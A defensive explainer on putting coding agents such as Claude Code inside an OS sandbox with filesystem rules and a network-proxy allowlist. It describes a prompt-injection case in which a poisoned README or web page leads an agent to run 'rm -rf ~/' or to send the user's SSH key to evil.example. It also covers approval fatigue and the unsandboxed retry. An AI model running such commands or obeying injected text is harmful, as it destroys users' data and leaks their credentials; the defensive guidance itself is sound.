Put Your Agent in a Box
Your agent runs every command as you.
Remember
Prompts ask you to be the wall. A sandbox is the wall.
Context
Coding agents (Claude Code, Codex, Copilot CLI…) run real shell commands on a developer's laptop with the developer's own access. This Short is the "Next: Agent Sandboxing" promised by mcp-tool-poisoning and approval-fatigue. Claude Code's built-in Bash sandbox (/sandbox) is the worked example; the design applies to any agent.
Architecture
| Component | Role | Notes |
|---|---|---|
| Agent | Plans, then runs shell commands (build, test, git, npm, curl) | Runs as the user |
| OS sandbox | Wraps every command and its child processes | bubblewrap on Linux / WSL2, Seatbelt on macOS |
| Filesystem rules | Writes: project folder + per-user temp; reads: most of the machine | filesystem.allowWrite, denyWrite, denyRead |
| Network proxy | Only route out; checks each host against an allowlist that starts empty | network.allowedDomains; new hosts prompt |
| Permission rules | Govern what runs outside the box | Read/Edit/WebFetch tools, MCP servers, hooks |
Request flow
- The agent decides to run a command.
- Inside the sandbox it runs with no prompt; the OS enforces the file rules on it and everything it starts.
- Any network connection goes to the proxy; an allowed host passes, a new host asks the user, a denied one fails.
- A command that fails in the sandbox may be retried unsandboxed (
dangerouslyDisableSandbox) through the normal permission flow, unlessallowUnsandboxedCommandsisfalse.
The failure mode
Without a sandbox, a poisoned README, issue or web page can talk the agent into rm -rf ~/ or curl -d @~/.ssh/id_rsa https://evil.example. Every command runs as you. Approval prompts are the classic guard, but a real task asks dozens of times and "Allow" becomes a reflex (see approval-fatigue).
Why it happens
The agent's only boundary is a person reading prompts. Nothing below the agent enforces what it may touch.
The fix
Turn on the sandbox and let the OS draw the box: writes stay in the project, the network goes through a proxy whose allowlist starts empty, and commands inside run without prompts. Then close the gaps: deny reads of ~/.ssh and cloud credentials (reads are open by default), mask tokens in env vars, remember that file tools and MCP servers run outside the box, turn off the unsandboxed retry, and set failIfUnavailable so a missing sandbox fails loudly.
Trade-offs
- Tools that write outside the project (kubectl, terraform caches) need
allowWriteentries. - Allowing broad domains (e.g. all of github.com) widens the exfiltration path.
- Only shell commands are sandboxed; the Read tool ignores
denyRead, so permission rules still matter.
Numbers worth knowing
- 84% fewer permission prompts with sandboxing, Anthropic internal usage (Anthropic Engineering, "Beyond permission prompts", 2025).
- Allowed domains start empty; reads include
~/.sshand~/.aws/credentialsby default (Claude Code docs, "Configure the sandboxed Bash tool").
Sources: https://www.anthropic.com/engineering/claude-code-sandboxing · https://code.claude.com/docs/en/sandboxing